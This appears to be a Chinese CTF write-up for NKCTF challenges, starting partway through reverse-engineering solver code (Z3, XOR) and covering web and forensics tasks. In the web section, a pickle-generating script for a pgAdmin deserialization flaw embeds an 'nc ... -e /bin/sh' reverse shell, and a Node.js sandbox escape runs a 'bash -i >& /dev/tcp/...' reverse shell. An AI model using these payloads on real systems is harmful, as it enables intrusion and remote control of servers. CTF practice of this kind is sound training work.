0x5F, 0x31, 0x30, 0x66, 0x74, 0x63, 0x6B, 0x34, 0x32, 0x30, 0x32, 0x80, 0x27, 0x39, 0x65, 0xE1, 0x7F, 0x00, 0x00, 0xFA, 0x3C, 0x23, 0x65, 0xE1, 0x7F] def encrypt_data(data, key): encrypted_data = [0] * 16 for i in range(4): for j in range(4): encrypted_data[4 * i + j] = data[4 * i + j] ^ (key[4 * j + i] & 0xff) for i in range(4): tmp = encrypted_data[4 * i + 3] + (encrypted_data[4 * i + 2] << 8) + (encrypted_data[4 * i + 1] << 16) + (encrypted_data[4 * i] << 24) tmp = tmp << (8 * (4 - i)) | tmp >> (8 * i) encrypted_data[4 * i] = tmp >> 24 & 0xff encrypted_data[4 * i + 1] = tmp >> 16 & 0xff encrypted_data[4 * i + 2] = tmp >> 8 & 0xff encrypted_data[4 * i + 3] = tmp & 0xff for i in range(16): encrypted_data[i] = s_box.index(encrypted_data[i]) for cnt in range(9): for i in range(4): for j in range(4): encrypted_data[4 * i + j] ^= (key[4 * j + i] & 0xff) for i in range(4): for j in range(4): encrypted_data[4 * i + j] = encrypted_data[4 * i + j] ^ (key[4 * j + i] & 0xff) for i in range(16): encrypted_data[i] = s_box.index(encrypted_data[i]) return encrypted_data data = [0x90D0B0E, 0xD0B0E09, 0xB0E090D, 0xE090D0B] key = [0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F] encrypted_data = encrypt_data(data, key) print(bytes(encrypted_data))

 

REEZ

通过运行得到真是的程序,主函数内容如下

e7b5419e729e4474a88202de8cad51e2.png

计算思路是当对256取模的情况下,-105的乘法逆元是39。如果我们将23乘以-105,然后对256取模,并加上111,结果恰好是256的倍数。因此,我们可以通过矩阵乘法取模的方式来消除这些项,并使用Z3来解决这个问题。

26ad5c7d53da4f3a9f72e7f8adfd0436.png


在第二部分,采取相同的方法消除冗余项。需要注意的是,在复制字节时是逆序的。因此,在使用Z3解出结果后,需要将其逆序排列。最后,手动求解逆序排列的结果就是所需的标志

from sympy import mod_inverse # 加密过的数据 enc = [0x44, 0x30, 0x5F, 0x79, 0x30, 0x75, 0x5F, 0x4C, 0x69, 0x6B, 0x65, 0x5F, 0x57, 0x68, 0x61, 0x74, 0x5F, 0x59, 0x6F, 0x75, 0x5F, 0x53, 0x65, 0x65, 0x3F] # 密钥 key = [0x32, 0x44, 0xAA, 0x56, 0x63, 0x3D, 0x2B, 0x09, 0xCD, 0x34, 0x99, 0x3C, 0x56, 0xB8, 0x99, 0xDE, 0x26, 0x1F, 0x7E, 0x0B, 0x42, 0xC2, 0x1B, 0xEB, 0xF5] # 解密 for i in range(len(enc)): enc[i] ^= key[i] print(enc) # 变量数组 enc = [118, 116, 245, 47, 83, 72, 116, 69, 164, 95, 252, 99, 1, 208, 248, 170, 121, 70, 17, 126, 29, 145, 126, 142, 202] l = [Int('l{}'.format(i)) for i in range(25)] # 创建 Z3 求解器 solver = Solver() # 添加变量范围约束 for i in range(25): solver.add(And(l[i] >= 0, l[i] <= 256)) # 添加模运算等式 solver.add(((-2)*l[5] + (-1)*l[10] + (4)*l[15] + (1)*l[20]) % 256 == enc[0]) solver.add(((-2)*l[6] + (-1)*l[11] + (4)*l[16] + (1)*l[21]) % 256 == enc[1]) solver.add(((-2)*l[7] + (-1)*l[12] + (4)*l[17] + (1)*l[22]) % 256 == enc[2]) solver.add(((-2)*l[8] + (-1)*l[13] + (4)*l[18] + (1)*l[23]) % 256 == enc[3]) solver.add(((-2)*l[9] + (-1)*l[14] + (4)*l[19] + (1)*l[24]) % 256 == enc[4]) solver.add(((-1)*l[0] + (1)*l[5] + (-1)*l[20]) % 256 == enc[5]) solver.add(((-1)*l[1] + (1)*l[6] + (-1)*l[21]) % 256 == enc[6]) solver.add(((-1)*l[2] + (1)*l[7] + (-1)*l[22]) % 256 == enc[7]) solver.add(((-1)*l[3] + (1)*l[8] + (-1)*l[23]) % 256 == enc[8]) solver.add(((-1)*l[4] + (1)*l[9] + (-1)*l[24]) % 256 == enc[9]) solver.add(((-3)*l[0] + (-2)*l[5] + (-10)*l[15] + (-1)*l[20]) % 256 == enc[10]) solver.add(((-3)*l[1] + (-2)*l[6] + (-10)*l[16] + (-1)*l[21]) % 256 == enc[11]) solver.add(((-3)*l[2] + (-2)*l[7] + (-10)*l[17] + (-1)*l[22]) % 256 == enc[12]) solver.add(((-3)*l[3] + (-2)*l[8] + (-10)*l[18] + (-1)*l[23]) % 256 == enc[13]) solver.add(((-3)*l[4] + (-2)*l[9] + (-10)*l[19] + (-1)*l[24]) % 256 == enc[14]) solver.add(((-1)*l[0] + (-2)*l[5] + (1)*l[10] + (-13)*l[15] + (-1)*l[20]) % 256 == enc[15]) solver.add(((-1)*l[1] + (-2)*l[6] + (1)*l[11] + (-13)*l[16] + (-1)*l[21]) % 256 == enc[16]) solver.add(((-1)*l[2] + (-2)*l[7] + (1)*l[12] + (-13)*l[17] + (-1)*l[22]) % 256 == enc[17]) solver.add(((-1)*l[3] + (-2)*l[8] + (1)*l[13] + (-13)*l[18] + (-1)*l[23]) % 256 == enc[18]) solver.add(((-1)*l[4] + (-2)*l[9] + (1)*l[14] + (-13)*l[19] + (-1)*l[24]) % 256 == enc[19]) solver.add(((-6)*l[0] + (-1)*l[5] + (-2)*l[10] + (1)*l[15] + (-2)*l[20]) % 256 == enc[20]) solver.add(((-6)*l[1] + (-1)*l[6] + (-2)*l[11] + (1)*l[16] + (-2)*l[21]) % 256 == enc[21]) solver.add(((-6)*l[2] + (-1)*l[7] + (-2)*l[12] + (1)*l[17] + (-2)*l[22]) % 256 == enc[22]) solver.add(((-6)*l[3] + (-1)*l[8] + (-2)*l[13] + (1)*l[18] + (-2)*l[23]) % 256 == enc[23]) solver.add(((-6)*l[4] + (-1)*l[9] + (-2)*l[14] + (1)*l[19] + (-2)*l[24]) % 256 == enc[24]) # 检查求解器是否有解 if solver.check() == sat: # 获取解模型 model = solver.model() # 提取解值 solution = [model.eval(l[i]).as_long() for i in range(25)] print("解为:", solution) else: print("无解") enc1 = [225, 119, 21, 156, 40, 140, 17, 78, 156, 147, 49, 240, 67, 69, 31, 23, 152, 184, 20, 163, 99, 38, 244, 92, 12] enc1 = [12, 92, 244, 38, 99, 163, 20, 184, 152, 23, 31, 69, 67, 240, 49, 147, 156, 78, 17, 140, 40, 156, 21, 119, 225] enc1[0] = enc1[0] - 24 - enc1[23] enc1[1] = enc1[1] - (enc1[22] ^ enc1[24]) enc1[2] = enc1[2] - enc1[19] enc1[3] -= enc1[18] + enc1[16] enc1[4] -= enc1[13] enc1[5] -= enc1[10] + enc1[12] enc1[6] -= (enc1[7] ^ enc1[9]) enc1[7] -= 2 * (enc1[23] & 0xF9 ^ 0x11) + (enc1[23] ^ 0xEE) enc1[8] -= enc1[22] ^ 0x4D enc1[9] -= 8 + enc1[21] enc1[10] -= enc1[19] + enc1[20] + 12 enc1[11] -= enc1[17] ^ enc1[16] enc1[12] -= enc1[13] enc1[13] -= enc1[11] + enc1[12] - 7 enc1[14] -= enc1[10] + enc1[9] enc1[15] -= enc1[7] - enc1[8] enc1[16] -= enc1[5] ^ (enc1[6] + 1) enc1[17] -= enc1[1] - enc1[4] + 17 enc1[18] -= enc1[16] + enc1[17] enc1[19] -= enc1[3] - enc1[1] enc1[20] -= enc1[4] + enc1[15] - 5 enc1[21] -= enc1[7] ^ 0x17 enc1[22] -= enc1[10] + enc1[9] enc1[23] -= enc1[11] ^ enc1[10] enc1[24] -= enc1[13] + enc1[14] + 3 # 将列表中的每个元素限制在0到255之间 enc1 = [enc1[i] & 0xff for i in range(25)] # 将列表转换为字节序列 print(bytes(enc1)) print("}hhysAe_@s_sS1_tuHT{FTCKN"[::-1]) # 将列表中的每个元素限制在0到255之间

enc1 = [enc1[i] & 0xff for i in range(25)]

# 将列表转换为字节序列

print(byte

Web

My first cms

爆破后台密码得到 Admin123

按照 https://packetstormsecurity.com/files/177241/CMS-Made-Simple-2.2.19-Remote-Code-Execut

ion.html 进行rce

 

attack tacooooo

猜出密码tacooooo 登录进去

找到一篇文章 

https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_dese rialization_and_rce/

按照文章生成posix.pickle

 

import sys import struct def produce_pickle_bytes(platform, cmd): b = b'\x80\x04\x95' b += struct.pack('L', 22 + len(platform) + len(cmd)) b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode() b += b'\x94\x8c\x06system\x94\x93\x94' b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode() b += b'\x94\x85\x94R\x94.' print(b) return b if __name__ == '__main__': with open('posix.pickle', 'wb') as f: data = produce_pickle_bytes('posix', "nc xxxxxx xx -e /bin/sh") f.write(data)

之后按照文章打就可反弹shell,获取flag

全世界最简单的CTF

const a = new Proxy({}, {

  get: function(target, prop, receiver) {

    const str1 = 'ce';

    const str2 = 'cS';

    const cc = receiver.get;

    const p = (cc.constructor.constructor(`return proc${str1}ss`))();

    const m = p.mainModule.require(`child_proc${str1}ss`);

    const f = Reflect.get(m, Reflect.ownKeys(m).find(x => x.includes(`exe${str2}ync`)));

    return f('bash -i >& /dev/tcp/XXXXXXX/XXX 0>&1');

  }

});


a.anyProperty;

用过就是熟悉

system_log中存在admin密码

登录后台,获取flag

2c434ad7832b4d038f09344ae2d95d47.png

取证

 

HackMycql

使用取证大师自动取证,源文件里找到了z盘挂载的文件

找到了几个通过Vera crypt加密的文件

d4dc7ce0413b46dab30a12c235b3ce99.png

有部署在docker的服务器数据库拓扑图

历史文件中微软便签可以找到数据库的提示

26f3d6671d704d098aec662688da271f.png

54037ca1864648d7870c5192db364c84.png

成功解开vc容器

9840a366852d4ed687c86a97c6df9d94.png

27a6c4f36ef149d184761b746af71c46.png

 

找到图数据库密码

30f63cab4d2741279ce3c978839e8504.png

fb227eea92064769a71a2abeb995256a.png

 

启动:neo4j.bat console

3c2b8e58bedf48568affef920f2a333f.png

成功登录数据库

257fd687eb314e82a4153644c479ca62.png

成功找到flag

287fadcb492a4a5c8d6a32b24a50d68c.png

根据提示uuid

得到flag为NKCTF{f05d9e24-0217-83e2-afa7-20e982b7e59f}

 

 

 

 

 

 


__EOF__

本文作者XFocus
本文链接https://www.cnblogs.com/XFocus/p/18543178.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   XFocus666  阅读(9)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示